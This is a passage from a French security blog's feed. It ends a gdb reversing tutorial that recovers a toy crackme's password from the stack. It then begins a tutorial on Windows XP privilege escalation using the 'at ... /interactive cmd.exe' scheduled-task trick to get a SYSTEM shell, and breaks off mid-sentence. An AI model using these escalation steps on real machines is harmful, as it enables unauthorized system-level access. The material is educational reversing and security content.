&lt;main+130&gt;&lt;/main+130&gt;&lt;/main+26&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483c0 &lt;main+28&gt;:   mov    0xffffffe8(%ebp),%edx&lt;/main+28&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483c3 &lt;main+31&gt;:   mov    0x4(%edx),%eax&lt;/main+31&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483c6 &lt;main+34&gt;:   add    $0x4,%eax&lt;/main+34&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483c9 &lt;main+37&gt;:   mov    (%eax),%eax&lt;/main+37&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483cb &lt;main+39&gt;:   mov    %eax,0x4(%esp)&lt;/main+39&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483cf &lt;main+43&gt;:   movl   $0x8048500,(%esp)&lt;/main+43&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483d6 &lt;main+50&gt;:   call   0x80482f0 &lt;printf@plt&gt;&lt;/printf@plt&gt;&lt;/main+50&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483db &lt;main+55&gt;:   mov    0x8048552,%eax&lt;/main+55&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483e0 &lt;main+60&gt;:   mov    0x8048556,%edx&lt;/main+60&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483e6 &lt;main+66&gt;:   mov    %eax,0xfffffff4(%ebp)&lt;/main+66&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483e9 &lt;main+69&gt;:   mov    %edx,0xfffffff8(%ebp)&lt;/main+69&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483ec &lt;main+72&gt;:   mov    0xffffffe8(%ebp),%edx&lt;/main+72&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483ef &lt;main+75&gt;:   mov    0x4(%edx),%eax&lt;/main+75&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483f2 &lt;main+78&gt;:   add    $0x4,%eax&lt;/main+78&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483f5 &lt;main+81&gt;:   mov    (%eax),%edx&lt;/main+81&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483f7 &lt;main+83&gt;:   lea    0xfffffff4(%ebp),%eax&lt;/main+83&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483fa &lt;main+86&gt;:   mov    %eax,0x4(%esp)&lt;/main+86&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x080483fe &lt;main+90&gt;:   mov    %edx,(%esp)&lt;/main+90&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048401 &lt;main+93&gt;:   call   0x8048310 &lt;strcmp@plt&gt;&lt;/strcmp@plt&gt;&lt;/main+93&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048406 &lt;main+98&gt;:   test   %eax,%eax&lt;/main+98&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048408 &lt;main+100&gt;:  jne    0x8048418 &lt;main+116&gt;&lt;/main+116&gt;&lt;/main+100&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0804840a &lt;main+102&gt;:  movl   $0x8048514,(%esp)&lt;/main+102&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048411 &lt;main+109&gt;:  call   0x8048300 &lt;puts@plt&gt;&lt;/puts@plt&gt;&lt;/main+109&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048416 &lt;main+114&gt;:  jmp    0x8048432 &lt;main+142&gt;&lt;/main+142&gt;&lt;/main+114&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048418 &lt;main+116&gt;:  movl   $0x8048527,(%esp)&lt;/main+116&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0804841f &lt;main+123&gt;:  call   0x8048300 &lt;puts@plt&gt;&lt;/puts@plt&gt;&lt;/main+123&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048424 &lt;main+128&gt;:  jmp    0x8048432 &lt;main+142&gt;&lt;/main+142&gt;&lt;/main+128&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048426 &lt;main+130&gt;:  movl   $0x804853e,(%esp)&lt;/main+130&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0804842d &lt;main+137&gt;:  call   0x8048300 &lt;puts@plt&gt;&lt;/puts@plt&gt;&lt;/main+137&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048432 &lt;main+142&gt;:  mov    $0x0,%eax&lt;/main+142&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048437 &lt;main+147&gt;:  add    $0x24,%esp&lt;/main+147&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0804843a &lt;main+150&gt;:  pop    %ecx&lt;/main+150&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0804843b &lt;main+151&gt;:  pop    %ebp&lt;/main+151&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0804843c &lt;main+152&gt;:  lea    0xfffffffc(%ecx),%esp&lt;/main+152&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x0804843f &lt;main+155&gt;:  ret    &lt;/main+155&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;End of assembler dump.&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Ok , maintenant cherchons un peu ou se trouve l'endroit qui nous intéresse ....&lt;br /&gt;Ici , j'ai personnellement choisi de placé mon Break Point a la fin de la condition c'est a dire juste avante le " Mauvais mot de passe " . ( façon certe inabituelle mais efficace tout de meme  ,comme vous pourrez le constatez par la suite.&lt;br /&gt;Pour le break point nous choisirons donc l'adresses &lt;span style="color: rgb(255, 0, 0);"&gt;0x8048419  &lt;span style="color: rgb(204, 204, 204);"&gt;puisque :&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x08048408 &lt;main+100&gt;:  jne    0x8048418 &lt;main+116&gt;&lt;/main+116&gt;&lt;/main+100&gt;&lt;/span&gt;      &lt;span style="color: rgb(255, 204, 204);"&gt;; saute a l'adresse main+116 si non égalité&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Nous en déduisons donc que Main+116  se trouve entre l'instruction "else" et "printf("Mauvais mot de passe !\n");" car on y est renvoyé si il y a une inégalité.&lt;br /&gt;Choisissons donc la l'adresse &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0x8048419 &lt;span style="color: rgb(204, 204, 204);"&gt;soit main+117 de cette maniere :&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) b *main+117&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Breakpoint 1 at 0x8048419: file ./cm.c, line 15&lt;span style="color: rgb(255, 204, 204);"&gt; ; message indiquant la création du break point&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;Ok , lançons donc le crack-me  ("cm") en passant  40*a  en argument puis observons ce qui se passe :&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) r aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Starting program: /home/kmkz/Bureau/asm/cm aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Vous avez ecrit aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Program received signal SIGILL, Illegal instruction.&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;main (ac=2, av=0xbf90e174) at ./cm.c:15&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;15            printf("Mauvais mot de passe !\n");&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Bon , nous avions vu juste , l'adresse pointait bel et bien sur la fin de la condition .Afin de le vérifié , utilisons la commande "list" de Gdb  pour voir exatement ou le break point stoppe le programme :&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;(gdb) list&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;10          {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;11            printf("Bon mot de passe !\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;12          }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;13           else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;14          {&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;15            printf("Mauvais mot de passe !\n");&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;16          }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;17        }&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;18        else&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;19        {&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Tout va bien , on est sur la bonne voie  \o/ .&lt;br /&gt;C'est bien beau , mais le pass dans tout ça ? il est ou ?&lt;br /&gt;Bah pour le trouver maintenant il nous faut l'adresse du pointeur  ESP afin de voir ce qui s'y trouve , pour cela commençons par trouver l'adresse de nos 40*a passé en argument puis tentons de remonter a la pile :&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) print av[1] &lt;span style="color: rgb(255, 204, 204);"&gt;; nos "a" étant l'argument [1]&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$1 = 0xbf910255 'a' &lt;repeats&gt;&lt;repeats&gt;&lt;repeats&gt;&lt;span style="color: rgb(255, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;   repeats 40 times &lt;/span&gt;; répétés 40 fois on est ok&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Poursuivons par l'affichage de tout les argument passés au programme stockés dans "av" :&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) print av&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$2 = (char **) 0xbf90e174&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Maintenant nous possédons l'adresse du tableau d'argument du programme "cm" , alons donc voir ce qu'il  contient a partir de cette adresse mémoire....Bienvenu dans :"&lt;span style="color: rgb(255, 0, 0);"&gt;la Pile&lt;/span&gt; "!&lt;br /&gt;Nous utilisons ici l'instruction x/16x afin d'afficher les 16*4 octets contenu dans la pile :&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) x/16x  0xbf90e174&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbf90e174:     0xbf91023c      0xbf910255      0x00000000      0xbf91027e&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbf90e184:     0xbf910291      0xbf9102a6      0xbf9102b9      0xbf9102d0&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbf90e194:     0xbf9102e3      0xbf9102fb      0xbf91030f      0xbf91031a&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbf90e1a4:     0xbf91032a      0xbf910337      0xbf910388      0xbf910396&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/repeats&gt;&lt;/repeats&gt;&lt;/repeats&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt; av étant le 1er et av[1] le 2eme de la ligne 1 et ceux la on les connait déja pas vrai ;&lt;br /&gt;ceci dit  de petites vérifications s'imposent :&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) printf "%s", 0xbf91023c&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;/home/kmkz/Bureau/asm/cm(gdb) printf "%s", 0xbf910255  &lt;span style="color: rgb(255, 204, 204);"&gt;; on obtient le chemin du programme cm&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;et :&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) print "%s",0xbf910255&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa$3 = 3213951573 &lt;span style="color: rgb(255, 204, 204);"&gt;; ici c'est bien av[1] avec nos 40*a , no soucy&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Il est temp pour nous de voir vers quelle adresse pointe ESP ( ESP pointe vers le sommet de la pile).&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) print $esp&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;$4 = (void *) 0xbf90e0b0&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Ici se trouve donc l'adresse du sommet de la pile allos dons y jeter un oeil ...&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) x/16x $esp &lt;span style="color: rgb(255, 204, 204);"&gt;; meme explications que tout a l'heure&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbf90e0b0:     0xbf910255      0xbf90e0cc      0xbf90e0c8      0x080482bc&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbf90e0c0:     0xbf90e0f0      0x08049640      0xbf90e0e8      0x666b646d&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbf90e0d0:     0x0079766a      0xbf90e0f0      0xbf90e148      0xb7e93f90&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbf90e0e0:     0xb7fe9cc0      0x08048450      0xbf90e148      0xb7e93f90&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;bon la on peu constater que l'on a :&lt;br /&gt;l'adresse de la pile : &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 204, 204);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbf90e0c0&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;l'adresse de nos "a" (av[1]) :&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 204, 204);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbf910255&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Mais aussi une adresse que l'on avait pas encore vu jusqu'ici : &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 204, 204);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbf90e0cc&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Testons donc &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 204, 204);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;0xbf90e0cc  &lt;span style="color: rgb(204, 204, 204);"&gt;afin de voir ce que cette adresse contient .&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;(gdb) printf "%s", 0xbf90e0cc&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;mdkfjvy(gdb)&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;Hey !! Mais qu'est-ce donc ..? Notre pass seait donc la ? ??&lt;br /&gt;Et oui , en effet le pass est bel et bien &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 204, 204);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;mdkfjvy  &lt;span style="color: rgb(204, 204, 204);"&gt;!&lt;br /&gt;&lt;br /&gt;Voila , vous venez de voir les principes de base du Reversing , mais la route est encore longue alors courage et a bientot!&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(255, 204, 204);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4457623080129847893-7073212100277031285?l=kmkz-web-blog.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/yh2EIACqrZieLATVJN3FBpRZfzw/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yh2EIACqrZieLATVJN3FBpRZfzw/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/yh2EIACqrZieLATVJN3FBpRZfzw/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/yh2EIACqrZieLATVJN3FBpRZfzw/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/KmkzsBlog/~4/O3avQtXICIw" height="1" width="1"/&gt;</content><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/7073212100277031285?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/4457623080129847893/posts/default/7073212100277031285?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/KmkzsBlog/~3/O3avQtXICIw/initiation-aux-bases-du-reversing.html" title="Initiation aux bases du Reversing" /><author><name>kmkz</name><uri>http://www.blogger.com/profile/11354372095868320290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="31" height="32" src="http://4.bp.blogspot.com/_2PS8BofuJBc/SLA60x2maPI/AAAAAAAAAAM/wuinnfvOy7s/S220/trinacria.jpg" /></author><feedburner:origLink>http://kmkz-web-blog.blogspot.com/2008/04/initiation-aux-bases-du-reversing.html</feedburner:origLink></entry><entry gd:etag="W/&quot;C0AFSH46cSp7ImA9WxZbFk0.&quot;"><id>tag:blogger.com,1999:blog-4457623080129847893.post-6059171885898534752</id><published>2008-04-19T12:08:00.000+02:00</published><updated>2008-04-19T12:41:59.019+02:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-04-19T12:41:59.019+02:00</app:edited><title>Win. XP (patched) Local Privilèges Escalation</title><content type="html">&lt;span style="color: rgb(204, 204, 204);"&gt;Salut a tous !&lt;br /&gt;J'ai pas mal hésité  , mais finalement je vais poster ce petit tuto trés basique portant sur une possibilité&lt;br /&gt;d'élévation de privileges sous Windows.&lt;br /&gt;(Ce tuto a été inspiré de plusieurs autres trouvé sur le net ).&lt;br /&gt;Je précise aussi qu'il existe beaucoup d'autre façons de procéder afin d'élever ses privilèges  ( boot sur live CD Linux pour récupérer  le &lt;span style="color: rgb(255, 0, 0);"&gt;SAM&lt;/span&gt;  ,injection de &lt;span style="color: rgb(255, 0, 0);"&gt;DLL&lt;/span&gt; et j'en passe ...) ; ceci dit , ce que je vais présenté ici ne requiert aucune connaissances spécifique et ne demande que trés peu de temp .&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Pour ce faire nous devons :&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; -&lt;/span&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;posséder un compte utilisateur avec un minimum de droit  , si ce n'est pas le cas , rebootez donc en &lt;span style="color: rgb(255, 0, 0);"&gt;mode sans échec &lt;/span&gt;puis passé en mode &lt;span style="color: rgb(255, 0, 0);"&gt;Administrateur&lt;/span&gt; et enfin modifié vos droits d'utilisateur.&lt;br /&gt;&lt;br /&gt;-vérifié que le service  &lt;span style="color: rgb(255, 0, 0);"&gt;Planificateur des taches&lt;/span&gt; soit activé ( comande "&lt;span style="color: rgb(255, 0, 0);"&gt;at&lt;/span&gt;"  ) nous allons y revenir dans la suite.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;L'élévation de privileges :&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Bon , tout est ok ? Alors let's go !&lt;br /&gt;Ouvrez votre invite de commandes MS-DOS ( executer =&gt; cmd) .&lt;br /&gt;Regarder l'heure affiché sur votre bureau ( exemple 10:00) et rentrez maintenant la commande  :&lt;br /&gt;&lt;span style="font-weight: bold;"&gt; &lt;span style="color: rgb(255, 0, 0);"&gt;at 10:02 /interactive "cmd.exe"&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;span style="font-style: italic;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;&lt;/span&gt;Une fois cette commande rentrée , vous devez obtenir quelque chose comme :&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Tache ajoutée avec l'ID=1&lt;/span&gt;&lt;br /&gt;Vous pouvez alors vérifier les infos en tapant "&lt;span style="color: rgb(255, 0, 0);"&gt;at&lt;/span&gt;" dans le shell .&lt;br /&gt;Maintenant attendon qu'il soit 10:02 a votre bureau... A 10:02 le shell passera alors sur le compte &lt;span style="color: rgb(255, 0, 0);"&gt;System32&lt;/span&gt; , gardez le shell ouvert puis réduisez la fenetre.&lt;br /&gt;Bon , maintenant il suffi d'ouvrir le gestionnaire des tache et de fermé le processus "&lt;span style="color: rgb(255, 0, 0);"&gt;explorer.exe&lt;/span&gt;" ; une fois fait , retour sur notre invite de commande  MS-DOS :&lt;br /&gt;On rentre alors ( en tant que &lt;span style="color: rgb(255, 0, 0);"&gt;System32&lt;/span&gt; ,bien entendu )  explorer.exe pour relancer le processus et réaffiché la barre des taches.&lt;br /&gt;Voila , vous etes désormais sur le compte le plus élevé du systeme celui de &lt;span style="color: rgb(255, 0, 0);"&gt;System&lt;/span&gt; , qui se trouve au-dessus de celui d'admin car  l'admin a certaines restrictions que 